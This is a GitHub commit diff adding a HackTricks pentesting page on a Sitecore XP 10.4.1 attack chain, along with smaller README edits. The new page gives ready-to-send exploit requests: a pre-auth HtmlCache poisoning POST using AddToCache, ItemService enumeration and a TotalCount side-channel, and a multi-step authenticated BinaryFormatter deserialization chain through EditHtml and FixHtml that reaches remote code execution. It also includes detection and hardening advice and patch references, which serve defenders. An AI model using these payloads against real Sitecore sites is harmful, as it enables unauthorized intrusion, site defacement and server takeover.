Skip to content

Commit 711d068

Browse files
authored
Merge pull request #1371 from HackTricks-wiki/update_Cache_Me_If_You_Can__Sitecore_Experience_Platform__20250829_183502
Cache Me If You Can Sitecore Experience Platform Cache Poiso...
2 parents bb54645 + 8352a3e commit 711d068

File tree

5 files changed

+282
-13
lines changed

5 files changed

+282
-13
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -447,6 +447,7 @@
447447
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
448448
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
449449
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
450+
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
450451
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
451452
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
452453
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -929,4 +930,3 @@
929930
- [Post Exploitation](todo/post-exploitation.md)
930931
- [Investment Terms](todo/investment-terms.md)
931932
- [Cookies Policy](todo/cookies-policy.md)
932-

src/network-services-pentesting/pentesting-web/README.md

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
104104
- [**Werkzeug**](werkzeug.md)
105105
- [**Wordpress**](wordpress.md)
106106
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
107+
- [**Sitecore**](sitecore/index.html)
107108

108109
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
109110
If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
@@ -179,7 +180,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
179180
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
180181

181182
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
182-
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
183+
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
183184
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
184185
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
185186

@@ -215,7 +216,7 @@ Information about SSL/TLS vulnerabilities:
215216

216217
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
217218

218-
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
219+
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
219220
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
220221
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
221222
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
@@ -310,7 +311,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
310311
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
311312
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
312313
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
313-
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
314+
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
314315
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
315316
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
316317

@@ -427,5 +428,3 @@ Entry_12:
427428
```
428429

429430
{{#include ../../banners/hacktricks-training.md}}
430-
431-
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a pre‑auth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden.
6+
7+
- Affected product tested: Sitecore XP 10.4.1 rev. 011628
8+
- Fixed in: KB1003667, KB1003734 (June/July 2025)
9+
10+
See also:
11+
12+
{{#ref}}
13+
../../../pentesting-web/cache-deception/README.md
14+
{{#endref}}
15+
16+
{{#ref}}
17+
../../../pentesting-web/deserialization/README.md
18+
{{#endref}}
19+
20+
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
21+
22+
Entrypoint is the pre‑auth XAML handler registered in web.config:
23+
24+
```xml
25+
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
26+
```
27+
28+
Accessible via:
29+
30+
```
31+
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
32+
```
33+
34+
The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:
35+
36+
```csharp
37+
// AjaxScriptManager.OnPreRender
38+
string clientId = page.Request.Form["__SOURCE"]; // target control
39+
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
40+
...
41+
Dispatch(clientId, text);
42+
43+
// eventually → DispatchMethod(control, parameters)
44+
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
45+
if (m != null) m.Invoke(this, e.Parameters);
46+
47+
// Alternate branch for XML-based controls
48+
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
49+
```
50+
51+
Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.
52+
53+
Magic method for poisoning:
54+
55+
```csharp
56+
// Sitecore.Web.UI.WebControl
57+
protected virtual void AddToCache(string cacheKey, string html) {
58+
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
59+
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
60+
}
61+
```
62+
63+
Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.
64+
65+
### PoC request (CVE-2025-53693)
66+
67+
```
68+
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
69+
Host: target
70+
Content-Type: application/x-www-form-urlencoded
71+
72+
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
73+
```
74+
75+
Notes:
76+
- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
77+
- __PARAMETERS format is Method("arg1","arg2").
78+
79+
## What to poison: Cache key construction
80+
81+
Typical HtmlCache key construction used by Sitecore controls:
82+
83+
```csharp
84+
public virtual string GetCacheKey(){
85+
SiteContext site = Sitecore.Context.Site;
86+
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
87+
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
88+
if (key.Length > 0){
89+
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
90+
if (this.VaryByData) k += ResolveDataKeyPart();
91+
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
92+
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
93+
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
94+
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
95+
if (this.VaryByQueryString && site?.Request != null)
96+
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
97+
if (this.ClearOnIndexUpdate) k += "_#index";
98+
return k;
99+
}
100+
}
101+
return string.Empty;
102+
}
103+
```
104+
105+
Example targeted poisoning for a known sublayout:
106+
107+
```
108+
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
109+
```
110+
111+
## Enumerating cacheable items and “vary by” dimensions
112+
113+
If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.
114+
115+
Quick probe:
116+
117+
```
118+
GET /sitecore/api/ssc/item
119+
// 404 Sitecore error body → exposed (anonymous)
120+
// 403 → blocked/auth required
121+
```
122+
123+
List cacheable items and flags:
124+
125+
```
126+
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
127+
```
128+
129+
Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:
130+
131+
```
132+
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
133+
```
134+
135+
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
136+
137+
Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:
138+
139+
```
140+
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
141+
→ "TotalCount": 3
142+
GET /...term=%2B_templatename:Device;%2B_group:aa*
143+
→ "TotalCount": 2
144+
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
145+
→ narrow to a specific item
146+
```
147+
148+
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
149+
150+
Sink:
151+
152+
```csharp
153+
// Sitecore.Convert
154+
byte[] b = Convert.FromBase64String(data);
155+
return new BinaryFormatter().Deserialize(new MemoryStream(b));
156+
```
157+
158+
Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
159+
160+
```csharp
161+
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
162+
string text2 = inner?.GetAttributeValue("value", "");
163+
if (text2.Length > 0)
164+
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
165+
```
166+
167+
Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:
168+
169+
```
170+
// 1) Start Content Editor
171+
GET /sitecore/shell/Applications/Content%20Editor.aspx
172+
173+
// 2) Load malicious HTML into EditHtml session (XAML event)
174+
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
175+
Content-Type: application/x-www-form-urlencoded
176+
177+
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
178+
<html>
179+
<iframe id="test" src="poc" value="poc"></iframe>
180+
<test id="test_inner" value="BASE64_GADGET"></test>
181+
</html>
182+
183+
// 3) Server returns a session handle (hdl) for FixHtml
184+
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
185+
186+
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
187+
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
188+
```
189+
190+
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
191+
192+
193+
{{#ref}}
194+
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
195+
{{#endref}}
196+
197+
## Complete chain
198+
199+
1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
200+
2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
201+
3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
202+
203+
## Detection
204+
205+
- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
206+
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
207+
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
208+
209+
## Hardening
210+
211+
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
212+
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
213+
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
214+
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
215+
216+
## References
217+
218+
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
219+
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
220+
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
221+
222+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

Lines changed: 21 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -214,6 +214,25 @@ Defenses:
214214
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
215215
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
216216

217+
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
218+
219+
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
220+
221+
```
222+
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
223+
Content-Type: application/x-www-form-urlencoded
224+
225+
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
226+
```
227+
228+
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
229+
230+
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
231+
232+
{{#ref}}
233+
../../network-services-pentesting/pentesting-web/sitecore/README.md
234+
{{#endref}}
235+
217236
## Vulnerable Examples
218237

219238
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
@@ -271,7 +290,7 @@ Another very clear example can be found in this write-up: [https://hackerone.com
271290
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
272291
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
273292

274-
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
293+
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
275294

276295
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
277296

@@ -289,8 +308,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
289308
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
290309
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
291310
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
311+
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
292312

293313

294314
{{#include ../../banners/hacktricks-training.md}}
295-
296-

0 commit comments

Comments
 (0)